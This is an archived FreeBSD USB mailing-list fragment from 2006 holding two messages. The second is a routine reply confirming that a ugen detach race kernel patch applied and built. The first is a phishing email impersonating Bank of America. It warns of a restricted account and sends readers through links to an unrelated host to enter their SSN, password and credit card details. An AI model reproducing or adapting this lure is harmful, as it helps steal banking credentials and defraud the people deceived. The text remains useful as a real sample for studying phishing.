X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - web.q8line.net X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [65534 1289] / [26 6] X-AntiAbuse: Sender Address Domain - web.q8line.net X-Source: /bin/sh X-Source-Args: sh -c /usr/sbin/sendmail -t -i X-Source-Dir: kuwait99.com:/public_html/pr/sessions MIME-Version: 1.0 Content-Type: text/plain X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Restore your online bank account X-BeenThere: freebsd-usb@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Online@bankofamerica.com List-Id: FreeBSD support for USB List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Apr 2006 05:52:15 -0000 [mhd_reg_logo.gif] Security Update Notification Dear Valued Customer : As part of our security measures, we regularly screen activity in the Bank of America Online Bank system. We recently contacted you after noticing an issue on your account.We requested information from you for the following reason: Our system requires further account verification To restore your account, please [1]click here. Your account might be place on restricted status. Restricted accounts continue to receive payments, but they are limited in their ability to send or withdraw funds. To lift up this restriction, you need to login into your account (with your username or SSN and your password), then you have to complete our verification process. You must confirm your credit card details and your billing information as well. All restricted accounts have their billing information unconfirmed, meaning that you may no longer send money from your account until you have reactive your billing information on file. [2]Sign in to Online Banking Thank You. _________________________________________________________________ Because your reply will not be transmitted via secure e-mail, the e-mail address that generated this alert will not accept replies. If you would like to contact Bank of America with questions or comments, please[3] sign in to Online Banking and visit the customer service section. Bank of America, N.A. Member FDIC. Equal Housing Lender Equal Housing Lender ©2005 Bank of America Corporation. All rights reserved. [4]Bank of America Higher Standards [5][foot_olympic.gif] References 1. http://thetoughskins.clanservers.com/vspstats/sql/BankOfAmerica/onlineid-sessionload/cgi-bin/sso.login.controllernoscript=true// 2. http://thetoughskins.clanservers.com/vspstats/sql/BankOfAmerica/onlineid-sessionload/cgi-bin/sso.login.controllernoscript=true/ 3. http://thetoughskins.clanservers.com/vspstats/sql/BankOfAmerica/onlineid-sessionload/cgi-bin/sso.login.controllernoscript=true/ 4. http://www.bankofamerica.com/ 5. file://localhost/tmp/Drag%20to%20a%20file%20to%20make%20a%20link. From owner-freebsd-usb@FreeBSD.ORG Sat Apr 29 13:00:34 2006 Return-Path: X-Original-To: freebsd-usb@freebsd.org Delivered-To: freebsd-usb@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AED2816A400 for ; Sat, 29 Apr 2006 13:00:34 +0000 (UTC) (envelope-from torfinn.ingolfsen@broadpark.no) Received: from osl1smout1.broadpark.no (osl1smout1.broadpark.no [80.202.4.58]) by mx1.FreeBSD.org (Postfix) with ESMTP id 414D443D46 for ; Sat, 29 Apr 2006 13:00:34 +0000 (GMT) (envelope-from torfinn.ingolfsen@broadpark.no) Received: from osl1sminn1.broadpark.no ([80.202.4.59]) by osl1smout1.broadpark.no (Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004)) with ESMTP id <0IYH003LLISWL140@osl1smout1.broadpark.no> for freebsd-usb@freebsd.org; Sat, 29 Apr 2006 15:00:32 +0200 (CEST) Received: from kg-work.kg4.no ([80.202.172.162]) by osl1sminn1.broadpark.no (Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004)) with SMTP id <0IYH009EFISWCAG1@osl1sminn1.broadpark.no> for freebsd-usb@freebsd.org; Sat, 29 Apr 2006 15:00:32 +0200 (CEST) Date: Sat, 29 Apr 2006 15:00:32 +0200 From: Torfinn Ingolfsen X-Face: "t9w2,-X@O^I`jVW\sonI3.,36KBLZE*AL[y9lL[PyFD*r_S:dIL9c[8Y>V42R0"!"yb_zN,f#%.[PYYNq; m"_0v; ~rUM2Yy!zmkh)3&U|u!=T(zyv,MHJv"nDH>OJ`t(@mil461d_B'Uo|'nMwlKe0Mv=kvV?Nh@>Hb<3s_z2jYgZhPb@?Wi^x1a~Hplz1.zH In-reply-to: <200604241027.44959.mistry.7@osu.edu> To: freebsd-usb@freebsd.org Message-id: <20060429150032.248c9890.torfinn.ingolfsen@broadpark.no> MIME-version: 1.0 X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.8.17; i386-portbld-freebsd5.5) Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT References: <200604241027.44959.mistry.7@osu.edu> Subject: Re: Fwd: Re: [PATCH] ugen detach race X-BeenThere: freebsd-usb@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: FreeBSD support for USB List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Apr 2006 13:00:34 -0000 On Mon, 24 Apr 2006 10:27:44 -0400 Anish Mistry wrote: > I added another panic fix. An error was introduced in rev 1.94 on > ugen.c in the USB_SET_CONFIG ioctl case that calls > ugen_make_devnodes. This causes a panic since this logic was moved > to ugen_set_config a while ago. Removing the ugen_make_devnodes() > call from ugen_do_ioctl fixes the problem. This bug made it trivial > to cause a panic when there was access to any ugen device. > > http://am-productions.biz/docs/ugen-detach-race.patch FWIW, the patch applied cleanly to root@kg-work# uname -a FreeBSD kg-work.kg4.no 5.5-PRERELEASE FreeBSD 5.5-PRERELEASE #6: Sat Mar 11 18:50:33 CET 2006 root@kg-work.kg4.no:/usr/obj/usr/src/sys/SS51G i386 and buildkernel / installkernel worked. Now I'm goning to boot the new kernel. Wish me luck. .-) -- Regards, Torfinn Ingolfsen, Norway